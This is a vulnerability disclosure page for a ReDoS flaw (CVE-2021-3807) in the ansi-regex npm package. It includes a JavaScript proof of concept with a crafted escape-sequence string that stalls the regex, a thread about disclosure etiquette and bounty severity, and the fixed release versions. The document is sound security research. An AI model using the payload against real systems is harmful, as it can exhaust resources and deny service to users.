

# Inefficient Regular Expression Complexity in chalk/ansi-regex

Valid Reported on Sep 9th 2021

## Description

It allows cause a denial of service when matching crafted invalid ANSI escape codes.

## Proof of Concept

```
// PoC.mjs
import ansiRegex from 'ansi-regex';

for(var i = 1; i <= 50000; i++) {
  var time = Date.now();
  var attack_str = "\u001B[ "+";".repeat(i*10000);
  ansiRegex().test(attack_str)
  var time_cost = Date.now() - time;
  console.log("attack_str.length: " + attack_str.length + ": " + time_cost)
}
```



## Impact

This vulnerability is capable of exhausting system resources and leads to crashes.

## Occurrences

JS index.js L3

CVE  
CVE-2021-3807  
(Published)

Vulnerability Type  
CWE-1333: Inefficient Regular Expression Complexity


Severity  
High (7.5)

Affected Version  
\*

Visibility  
Public


Status  
Fixed

Found by



Yeting Li  
@yetingli  
unranked

Fixed by



Yeting Li  
@yetingli  
unranked

This report was seen 4,848 times.

Yeting Li submitted a patch a year ago

Yeting Li a year ago Researcher

Hi @admin, could you help me contact the maintainer to confirm the vulnerability and patch?

Z-Old a year ago Admin

Chat with us

Hey Yeting, of course. I've just sent security@tidelift.com an email, as per their security policy. I'll update you when we hear back from them.

We have contacted a member of the chalk/ansi-regex team and are waiting to hear back  
a year ago

Yeting Li a year ago

Researcher

Hi Ziding @admin, thanks for your efforts. The maintainer has now confirmed my disclosure and patch (see the [commit](#)).

A chalk/ansi-regex maintainer a year ago

@yetingli This is the second time you have been told to do a responsible closure. That means not submitting a pull request or open an issue until the report has been validated.

The severity (and IMHO bounty) in this report is also too high. The issue affects pretty much no one as ansi-regex is mostly used for command-line tools, not in servers.

Yeting Li a year ago

Researcher

Thank you for your reply@Sindre Sorhus. I just did a responsible closure on huntr.dev, but I accidentally pulled when I submitted the patch. Thank you again for your reminder!

Yeting Li a year ago

Researcher

The bounty setting may be related to the popularity of the project? I'm not sure, you@Sindre Sorhus can ask @admin?

A chalk/ansi-regex maintainer validated this vulnerability a year ago

Yeting Li has been awarded the disclosure bounty ✓

The fix bounty is now up for grabs

A chalk/ansi-regex maintainer marked this as fixed with commit 8d1d7c a year ago

Yeting Li has been awarded the fix bounty ✓

This vulnerability will not receive a CVE ✗

index.js#L3 has been validated ✓

A chalk/ansi-regex maintainer a year ago

Fixed in:

6.0.1: <https://github.com/chalk/ansi-regex/releases/tag/v6.0.1>

5.0.1: <https://github.com/chalk/ansi-regex/releases/tag/v5.0.1>

Jamie Slome a year ago

Admin

CVE published! 🎉

Yeting Li a year ago

Researcher

Thanks.

Thayol 8 months ago

We also have:

4.1.1: <https://github.com/chalk/ansi-regex/releases/tag/v4.1.1>

This is a tag without a release. It includes the same fix as 5.0.1 and 6.0.1 (<https://github.com/chalk/ansi-regex/pull/37>)

Sign in to join this conversation

huntr

[home](#)

[hacktivity](#)

[leaderboard](#)

[FAQ](#)

[contact us](#)

[terms](#)

[privacy policy](#)

part of 418sec

[company](#)

[about](#)

[team](#)